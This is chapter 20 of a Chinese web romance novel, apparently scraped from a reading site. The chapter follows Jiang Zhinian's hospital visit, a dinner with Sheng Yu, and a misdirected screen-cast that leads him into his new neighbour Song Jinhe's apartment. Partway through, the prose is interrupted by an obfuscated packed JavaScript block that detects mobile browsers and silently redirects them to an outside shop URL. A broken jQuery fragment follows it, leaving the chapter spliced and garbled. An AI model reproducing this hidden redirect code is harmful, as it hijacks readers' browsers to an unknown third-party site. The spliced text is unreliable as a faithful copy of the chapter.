20. chapter 20
    江稚年疼的迷迷糊糊的,也没听出来有什么不对的地方,顺着他的话说,“下次我就说家里的床一周年生日,我要给它庆祝。”

    盛聿被他的话逗笑了,趁着红灯的间隙扭头看了他一眼,调侃的话刚到嘴边,看到他那副难受的样子还是悉数咽了回去。

    一到医院就被安排了各种大全套的检查,拿到检查并看完医生已经六点了。

    盛聿忙前忙后,又是交钱又是拿药的,根本不敢累着大少爷分毫。

    他拎着一大袋子药,“走吧江少爷。”

    吃了药胃里的疼痛缓解了些,江稚年有了力气,拍了下他的手,“今儿真是累着我们盛大少爷了,为了感谢你,想吃什么,我请客。”

    “那我可不客气了。”

    盛聿说不客气那是真不客气,选了家高档餐厅,一道前菜就要上千。

    江大少爷倒是不觉得有什么。

    直到等到菜上齐,谨遵医嘱的江少爷发现桌上他能吃的只有几根青菜和大米饭,才发现,事大了。

    他拿着服务员递来的小票。

    一顿万把块的饭,他能吃的只有菜配米?

    他不服。菜单被他来回翻了又翻,上面的菜式全是他不能吃的。

    江大少叹了口气,屈服于现实。

    素菜配米,就是他今天晚饭的归宿。

    一顿饭下来,盛聿吃的酒足饭饱,江稚年面前的饭倒是不怎么动过。

    江稚年见他吃的差不多,招来服务员准备结账。

    手机刚举起来,就被盛聿压了下去。

    “不是说好我请客?”

    “你都没吃什么,哪有让你付钱的道理。”盛聿揣回手机,“你要是心里过意不去,等你胃好了,不忌口了再请我吃饭。”

    “行。”

    两个拿好外套准备离开的时候,服务员推门而进,将一碗粥和清单的竹笋炒肉递到他手上。

    “加了点钱让后厨给你开了个小灶。”盛聿接过袋子,往外走着,“吃了药是不疼了,但不能见了好又不好好吃饭。”

    “知道了。”

    -

    盛聿给江稚年送到楼下,没上去。

    江稚年开车门下车,脚刚迈出去,想到什么,又收了回来。

    “还有事?”

    “嗯。”江稚年重新靠回椅背上,转头看盛聿,“有个问题。”

    “有问题就说。”盛聿把车子往路边开了开,降下车窗,点了根烟,“这么吞吞吐吐可不像你的风格。”

    江稚年说,“你说我假装收心,让他们相信的可能性有多大?”

    盛聿没想到江稚年会突然问这个问题,迟疑了两秒,才缓缓给出自己的答案,“百分之三十。”

    “这么低?”

    “嗯。”盛聿弹了弹烟灰,“收心总要有个由头。你莫名其妙说收心,就和□□老大说自己要金盆洗手一样的不可信。”

    江稚年:“......”

    见他不说话,盛聿想了想,补充道,“或许你谈个男朋友或者结个婚,信服力会更强。”

    “什么?”江稚年揉了揉耳朵,怀疑是不是自己的听力出现了问题。

    盛聿好脾气的重复了一遍,“我说你可以结个婚或者谈恋爱再说自己收心了。”

    “假装谈恋爱......”话还没说完,就被人给打断了。

    “你趁早打消这个念头,”盛聿叹了口气,捻灭烟头,“谈恋爱的人浑身都冒粉泡泡,你怎么假装?随身带个泡泡机,见人就吹粉色泡泡?”

    江稚年瞬间哑口无言,灰溜溜的下车上楼。

    走到家门口,在不起眼的小角落里,被人放着用购物袋装的一大袋子零食。

    这大概就是宋堇禾说的奖励,江稚年想。

    他把零食拎进家,随便吃了几口东西。

    手机响了下,江稚年嚼着嘴里的东西,顺便拿起来看了眼。

    【sy:[文件]如何假装渣男】

    【sy:[文件]风流宝典】

    【sy:别说兄弟没帮你。】

    江稚年有些意外,看他发来的文件名也被勾起了些兴趣。

    他随便点进去了一个。

    1.要穿的烧包,例如粉色衬衣,深v领衬衣,各式各样的花衬衣

    2.喷香水,味道一定要浓。

    3.说话做事要变现出来一副漫不经心的模样。

    ......

    实践:1.搂着美女喝酒的时候,如果她得你的欢心,可以尝试往他吊带或是短裤裤腰里塞现金。

    江稚年:?

    那个画面光是凭这个画面描述,都已经有些恶寒。

    后面的内容江稚年已经不想看了。

    都是点什么乱七八糟的东西?

    盛聿发来的东西自己居然还敢看?!

    江稚年深吸一口气,在心里连连骂了几句盛聿。

    桌上的饭已经吃的差不多了,这会儿也没了胃口。

    他起身收拾好残局,换下身上的衣服就钻房间继续睡觉去了。

    临近傍晚,夜幕降临时才缓缓醒来。

    睡前才喝了粥吃了小菜,这会儿倒是不怎么饿。

    他起身挪了个窝,窝在沙发上,摸出手机点开某个短视频软件刷了起来。

    大抵是屏幕太小,看了一会儿眼睛就有些酸涩。

    江稚年揉了揉眼睛,看向客厅的投影仪,有了新的想法。

    他按开投影仪,手机开启投屏模式 ,屏幕上出现一个设备编号,想都没想就点了下去。

    幕布上迟迟没有反应。

    江稚年关掉又开启,以为是自己手机的问题,上下滑了几个视频。

    一来一回操作了好几次,都没有任何的反应。

    就在江稚年准备放弃的时候,传来一道“咚咚——”的敲门声。

    “谁啊。”江稚年放下手机起身去开门。

    门外的人高挑健硕,正靠在门口的墙上扣着手机,随着他低头的动作,额前的头发挡着了些眉眼。

    江稚年看向那张英俊面孔喊了声,“宋堇禾?”

    “年年。”宋堇禾直起身子,随意的拍了拍肩膀上的墙灰。

    “你怎么来了?”江稚年上下扫视。

    这人穿着舒适的短袖和长裤,脚踩拖鞋,头发有些凌乱。

    难得见他有如此慵懒的模样,江稚年多瞧了两眼。

    只是对方面容染上些无奈,侧过身指了指对面。

    江稚年顺着他指的方向看了过去。

    对面的房门此时正打开着,隐隐约约还能听到动感DJ音乐。

    江稚年有些茫然。

    宋堇禾见他那副困顿的模样,就知道他没听出言外之意。

    男人姣好的容颜上浮现出一抹无奈,难得耐着性子解释,“你投屏错地方了。”

    “什么?”江稚年眨了眨眼睛,还是没明白。

    他低着头,抿了抿唇瓣,触及到他脚上拖鞋的那一刻,猛然抬起头看向对面,心头涌上某种猜测,语气有些不确定的出声询问,“你......你住对面?”

    见他反应过来,宋堇禾小幅度的点了点头,“想去看看吗?”

    “嗯。”

    “来喝杯水。”宋堇禾倒了杯水递过来,“看看和你那边户型有什么不一样的?”

    江稚年走近客厅。

    和他那套一样,是个三居室。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306367|140285||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    只不过这套的装修是轻法式装潢风格。

    大气又干净,不像法式装修风格那般厚重正式,倒是在简单的装潢上平添了些优雅精致。

    “你刚搬过来吗?”江稚年问。

    “嗯。”

    “怎么突然想搬家了?”

    宋堇禾随便扯了个借口,“那边老小区,安保不太好,就找了个好一点的搬了过来。”

    “这也是。”江稚年赞成他的话,“你是公众人物,自然是要找一个安保和保密性好点的小区居住。”

    “嗯。”宋堇禾简单收拾了下沙发上还没整理完的东西,“过来坐。”

    “哦好。”

    江稚年迈步走了过去,刚一抬头,幕布上的投影换了个视频。

    120寸的投影幕布上赫然播放着一个露着上半身,身上十分白净,薄肌恰到好处,胸肌上挂着一条亮闪闪的链子,正对着镜头随着音乐扭来扭去。

    江稚年瞪大了眼睛,这才记起来宋堇禾过来敲门说的投错屏的事。

    而在一旁,随意一瞟的宋堇禾停下了手上动作,他转动脖子,视线定在上面几秒,挪开视线,看向刚坐在沙发上的人,“喜欢这样的?”

    语气淡淡的。

    但在江稚年听来,话里带着不小的压迫感。

    顿时,江稚年觉得这沙发有些烫屁股。

    面对来自对方的质问,江稚年坐也不是,站起来就跑也不是。他只好双手撑在身体两侧,尴尬的笑了下,“误会,这一定是个误会。”

    在宋堇禾看不见的地方,江稚年捂了下脸。

    早知道就把手机拿过来了。

    他现在是想关这投屏都关不掉。

    想挖个地洞给自己埋进去。

    看着他紧张的样子,宋堇禾扯了扯嘴角,故意没接他的话,却放下手上的东西,关掉了投影仪。

    看着幕布恢复原貌,江稚年瞬间觉得自己得救。手紧紧握着玻璃杯,还是有些如坐针毡。

    一时间,两人谁也没说话,之间只有一股诡异的气氛流动着。

    “我还以为江大少流连那些场合对那款的都看腻了。”宋堇禾冷不丁的来了一句。

    这话怎么听怎么像是是在挖苦自己。

    江稚年喝了口水,强装淡定,“我平时不看这些的。”

    “噢,明白了。”

    江稚年看着他那一副恍然大悟的模样,蹙眉,“你明白什么了?”

    宋堇禾故意曲解他的话,“你喜欢看实物。”

    江稚年:???

    他瞪大了眼睛,似乎是在表示自己内心的不满,“我什么时候说了?”

    “猜的。”宋堇禾慢悠悠的说,“小时候那几个玩伴不说你玩的比蝴蝶都花?”

    谁说的,我要告他们诽谤!

    宋堇禾看着眼前人一副要炸毛的样子,觉得有些可爱。

    他稍稍扯了扯唇角,不再继续和他探讨这个话题。

    “早上给你留的粥味道怎么样?”

    见他话题转移的如此之快,江稚年用手指敲了敲玻璃杯壁。

    虽松了口气,但还是有些不满的小声控诉着,“话题跳转这么快,哪有挖苦完人又关心的?给了巴掌又给个甜枣?”

    宋堇禾在他头上敲了下,“嘀咕什么呢?”

    嘀咕什么也不能和你说。江稚年想。

    这些话他也只能憋在肚子里。

    下一秒,他扯出一抹笑容,只是笑的有些僵硬,“你的手艺还不错。”

    宋堇禾看着他那笑得比哭还难看的样子,只是说,“以后少喝酒,你胃从小就不好。”

    “嗯。”

    两人再次陷入诡异的沉默中。